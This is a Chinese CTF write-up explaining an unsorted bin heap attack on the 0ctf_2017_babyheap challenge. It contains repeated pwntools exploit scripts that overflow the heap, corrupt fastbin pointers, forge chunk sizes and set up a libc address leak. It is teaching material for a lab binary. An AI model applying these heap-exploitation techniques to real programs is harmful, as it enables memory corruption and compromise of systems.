UnSortedbin Attack 例题分析

参考资料：https://www.cnblogs.com/youdiscovered1t/p/19109746 特别好的一篇文章，很详细！！！

BUUCTF 0ctf_2017_babyheap

1773034689075-116906c2-06dc-4521-8bbf-4c47fd1328b1.png

1773051166296-da5b35e7-3313-44b0-90aa-91d4fa869804.png1773034727922-ba7025f5-e65d-4881-8158-8f5543719af4.png

1
2
3
4
5
6
7
8
9
int sub_CF4()
{
  puts("1. Allocate");
  puts("2. Fill");
  puts("3. Free");
  puts("4. Dump");
  puts("5. Exit");
  return printf("Command: ");
}

Allocate

1773047797036-7b0b5e12-84ea-427b-b1c7-c408bedae438.png

先遍历 16 个索引，寻找到第一个未在使用的索引，读取用户输入的数据大小，要求小于 4096 个字节

分配内存：calloc(j,1) = 分配 j 字节，且自动初始化为0（区别于malloc） v3 =calloc ( j, 1u ) ;

if ( !*(_DWORD *)(24LL * i + a1) )：

1
2
3
4
5
6
24 分别指的是 
[ 1. *(_DWORD *)(24LL * i + a1) = 1; ]               // “1”表示正在使用中
[ 2. *(_QWORD *)(a1 + 24LL * i + 8) = j; ]           // 申请chunk的大小 
[ 3. *(_QWORD *)(a1 + 24LL * i + 16) = v3; ]         // 这里用于存放用户数据的地址
DWORD 在 0x4-0x7 进行四字节填充，剩下的进行 8 字节栈对齐。
一共是三个部分，每个部分是 8 个字节，一共 24 个字节的大小。

Fill

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
__int64 __fastcall sub_E7F(__int64 a1)
{
  __int64 i; // rax
  int n0x10_1; // [rsp+18h] [rbp-8h]
  int n0x10_2; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  i = sub_138C();
  n0x10_1 = i;
  if ( (unsigned int)i < 0x10 )
  {
    i = *(unsigned int *)(24LL * (int)i + a1);
    if ( (_DWORD)i == 1 )
    {
      printf("Size: ");
      i = sub_138C();
      n0x10_2 = i;
      if ( (int)i > 0 )
      {
        printf("Content: ");
        return sub_11B2(*(_QWORD *)(24LL * n0x10_1 + a1 + 16), n0x10_2);
      }
    }
  }
  return i;
}

这一部分其实不难理解，首先读取用户输入的 index，然后去寻找 index 对应的 chunk。之后进行(_DWORD)i 的判断，如果=1 就可以进行信息的输入sub_11B2(*(_QWORD *)(24LL * n0x10_1 + a1 + 16), n0x10_2);

1773049272868-422be42c-12e3-490e-b665-3056d0c214c8.png

看一下 sub_11B2，该函数就相当于 read 函数，可以读取信息放入到（24LL * n0x10_1 + a1 + 16） 当中，

也就是存放数据的 user_data 处。

Free

1773049786290-1e7db3e9-dd58-4c71-8e95-1d07c56b86a4.png

这一部分也就是分别对前面说的三个区域置 0，并且 free 掉我们的 chunk

Dump

1773050162961-a3bff7e1-127d-432e-be17-2c5fa016b79d.png1773050358788-14dbb9e7-529f-42c3-957b-bf2016a995ae.png

输出程序，把对应索引的 user_data 存入的数据都打印出来。

攻击思路：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

libc = ELF("./libc-2.23.so")
# ld = ELF("./ld-2.23.so")


context(arch="amd64",os="linux",log_level="debug")
p = process('./unsortedbin')

def allocate(p,size):
    p.sendlineafter(b'Command: ',b"1")
    p.sendlineafter(b'Size: ',str(size))

def fill(p,index,content):
    p.sendlineafter(b'Command: ',b"2")
    p.sendlineafter(b'Index: ',str(index))
    p.sendlineafter(b'Size: ',str(len(content)))
    p.sendlineafter(b'Content: ',content)

def free(p,index):
    p.sendlineafter(b'Command: ',b"3")
    p.sendlineafter(b'Index: ',str(index))

def dump(p,index):
    p.sendlineafter(b'Command: ',b"4")
    p.sendlineafter(b'Index: ',str(index))

def main():

    allocate(p,0x10) # chunk 0 
    allocate(p,0x10) # chunk 1
    allocate(p,0x10) # chunk 2
    allocate(p,0x10) # chunk 3
    allocate(p,0x80) # chunk 4

    free(p,1)
    free(p,2)
    gdb.attach(p)
    p.interactive()


if __name__ == "__main__":
    main()


1773051191912-1976ba11-22d3-4147-bbd0-4116b0d64364.png1773051229744-4f001059-f53c-490f-8da9-4127cccab061.png

此时 fastbin 当中会存在两个链表 chunk2 ->chunk1,我们看一下此时的 chunk

1773051441965-68c190e2-087d-49b9-9ee0-a3fec010adea.png

此时 chunk2 的 fd 指针指向了 chunk1，在0x55be3471c050 的地址中存放着 chunk1 的地址。

我们可以通过堆溢出去进行堆 chunk2 当中的 fd 指针进行修改，让他指向 chunk4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *

libc = ELF("./libc-2.23.so")
# ld = ELF("./ld-2.23.so")

context(arch="amd64",os="linux",log_level="debug")
p = process('./unsortedbin')

def allocate(p,size):
    p.sendlineafter(b'Command: ',b"1")
    p.sendlineafter(b'Size: ',str(size))

def fill(p,index,content):
    p.sendlineafter(b'Command: ',b"2")
    p.sendlineafter(b'Index: ',str(index))
    p.sendlineafter(b'Size: ',str(len(content)))
    p.sendlineafter(b'Content: ',content)

def free(p,index):
    p.sendlineafter(b'Command: ',b"3")
    p.sendlineafter(b'Index: ',str(index))

def dump(p,index):
    p.sendlineafter(b'Command: ',b"4")
    p.sendlineafter(b'Index: ',str(index))

def main():

    allocate(p,0x10) # chunk 0 
    allocate(p,0x10) # chunk 1
    allocate(p,0x10) # chunk 2
    allocate(p,0x10) # chunk 3
    allocate(p,0x80) # chunk 4

    free(p,1)
    free(p,2)
    # gdb.attach(p)
    #chunk4 = 0x55be3471c080
    payload1 = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21) + p8(0x80) 
    fill(p,0,payload1)
    gdb.attach(p)
    p.interactive()


if __name__ == "__main__":
    main()


p8(0x80)修改最低字节的两位，其他字节不会影响

1773052563737-2c68a72f-5bdc-4bd3-a7c9-2b064cdef6ad.png

此时 Fastbin 当中的链表就不再是 chunk2->chunk1 了，而是 fastbin[0x20 链表头] → chunk2 → chunk4

1773052877324-a19ec30e-ed30-445d-8594-d5c0292d7a8a.png

此时chunk4虽然没有被free，但已经存在于bin中，若此时在此申请chunk，根据程序Allocate的功能，又会出现一个指向chunk4的结构，也就是完成了双指

再一次动态申请 chunk4

在申请之前，有两个问题：

  • Fast Bin符合LIFO，即后进先出，那么先出的就是chunk2而非chunk4，因此我们需要Allocate两次
  • malloc的检查

malloc的检查什么意思呢？

我们知道，在Fast Bins中，每个Fast Bin里面的chunk的大小都是一致的。原先chunk1的size大小是0x21，chunk1就会被存储在chunk大小都为0x20的Fast bin中

那当我们再次malloc一个0x10大小的chunk的时候，就会去chunk大小都为0x20的Fast bin中去查找，但是此时找到一个大小为0x90的chunk，malloc就会检查出异常，因而程序终止。

因此我们这次通过举例 chunk4 较近的 chunk3 来进行堆溢出去修改 chunk4 的 size 段绕过 glibc 的判断

1773053906683-5e3caf00-a417-4f5e-b62f-14c4dd7210a9.png 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *

libc = ELF("./libc-2.23.so")
# ld = ELF("./ld-2.23.so")


context(arch="amd64",os="linux",log_level="debug")
p = process('./unsortedbin')

def allocate(p,size):
    p.sendlineafter(b'Command: ',b"1")
    p.sendlineafter(b'Size: ',str(size))

def fill(p,index,content):
    p.sendlineafter(b'Command: ',b"2")
    p.sendlineafter(b'Index: ',str(index))
    p.sendlineafter(b'Size: ',str(len(content)))
    p.sendlineafter(b'Content: ',content)

def free(p,index):
    p.sendlineafter(b'Command: ',b"3")
    p.sendlineafter(b'Index: ',str(index))

def dump(p,index):
    p.sendlineafter(b'Command: ',b"4")
    p.sendlineafter(b'Index: ',str(index))

def main():

    allocate(p,0x10) # chunk 0 
    allocate(p,0x10) # chunk 1
    allocate(p,0x10) # chunk 2
    allocate(p,0x10) # chunk 3
    allocate(p,0x80) # chunk 4

    free(p,1)
    free(p,2)
    # gdb.attach(p)
 
    payload1 = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21) + p8(0x80)
    fill(p,0,payload1)
    # gdb.attach(p)
    
    # chunk4_fake_size = 0x0000000000000021
    payload2 = p64(0)*3 + p8(0x21)
    fill(p,3,payload2)
    allocate(p,0x10)
    allocate(p,0x10)
    gdb.attach(p)
    p.interactive()


if __name__ == "__main__":
    main()


我们修改了p8(0x21)就可以成功绕过 malloc 的检查

1773054621896-d8212b61-ac4a-40cc-9f3d-28ef8bc75caf.png1773054952725-3b1ec6f2-ce95-4504-ba82-25f31f82ccc2.png

1773055500337-58323d65-9ed3-48e2-91d3-d852dfd0b7ed.png

接下来就是泄露的预处理部分了，即先让chunk4进入Unsorted Bin

之前也提到过，要让其进入Unsorted Bin需要满足两个条件：

  • 释放（free）的chunk大小不属于fast bin的范围
  • 该chunk不和top chunk紧邻时

关于第一条，我们只需要将其大小改回去（0x21 >> 0x91），然后free即可

关于第二条，由于chunk4是最晚申请的，他就挨着top chunk，我们也可以通过动态调试来验证这一点1773054621896-d8212b61-ac4a-40cc-9f3d-28ef8bc75caf.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *

libc = ELF("./libc-2.23.so")
# ld = ELF("./ld-2.23.so")


context(arch="amd64",os="linux",log_level="debug")
p = process('./unsortedbin')

def allocate(p,size):
    p.sendlineafter(b'Command: ',b"1")
    p.sendlineafter(b'Size: ',str(size))

def fill(p,index,content):
    p.sendlineafter(b'Command: ',b"2")
    p.sendlineafter(b'Index: ',str(index))
    p.sendlineafter(b'Size: ',str(len(content)))
    p.sendlineafter(b'Content: ',content)

def free(p,index):
    p.sendlineafter(b'Command: ',b"3")
    p.sendlineafter(b'Index: ',str(index))

def dump(p,index):
    p.sendlineafter(b'Command: ',b"4")
    p.sendlineafter(b'Index: ',str(index))

def main():

    allocate(p,0x10) # chunk 0 
    allocate(p,0x10) # chunk 1
    allocate(p,0x10) # chunk 2
    allocate(p,0x10) # chunk 3
    allocate(p,0x80) # chunk 4

    free(p,1)
    free(p,2)
    # gdb.attach(p)
 
    payload1 = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21) + p8(0x80)
    fill(p,0,payload1)
    # gdb.attach(p)
    
    payload2 = p64(0)*3 + p8(0x21)
    fill(p,3,payload2)
    allocate(p,0x10)
    allocate(p,0x10)
    # gdb.attach(p)
    
    payload3 = p64(0)*3 + p64(0x91)
    fill(p,3,payload3)
    allocate(p,0x80)
    free(p,4)
    gdb.attach(p)
    p.interactive()


if __name__ == "__main__":
    main()


1773056156330-9762dbed-46f0-4414-9061-0622f56bb0c0.png1773056167297-9ad3f89f-ab15-4640-86bc-179c339e2873.pngchunk4成功进入unsortedbin，且出现特征：如果usorted bin中只有一个bin ，那么它的fd和bk指针会指向同一个地址，就是unsorted bin链表的头部 ( main_arena+88 )

关于计算 libc 基址，我们知道 smallbins，largebins，unsortedbins 统一存放在 malloc_state 这样一个结构体的一个数组当中。malloc_state 是属于 main_arena 的。并且 main_arena 是一个全局变量，位于 libc 的数据段。

如果我们知道了上述情况当中的 fd/bk 指针所指向的地址，那我们也就相当于知道了 main_arena 的基址，从而可以知道 libc 的基址

1773056418444-f3a92048-13b6-4271-aa91-c3237fe437a5.png

下面我们需要做的就是进行偏移量的测定。main_arena+88 指向的就是 unsorted bin 的链表头（fd 指针）

因此我们可以通过泄露 fd 指针的值，去寻找 main_arena

更新: 2026-03-09 19:56:40
原文: https://www.yuque.com/idcm/wnemg9/ag4ilhe8akdtsphx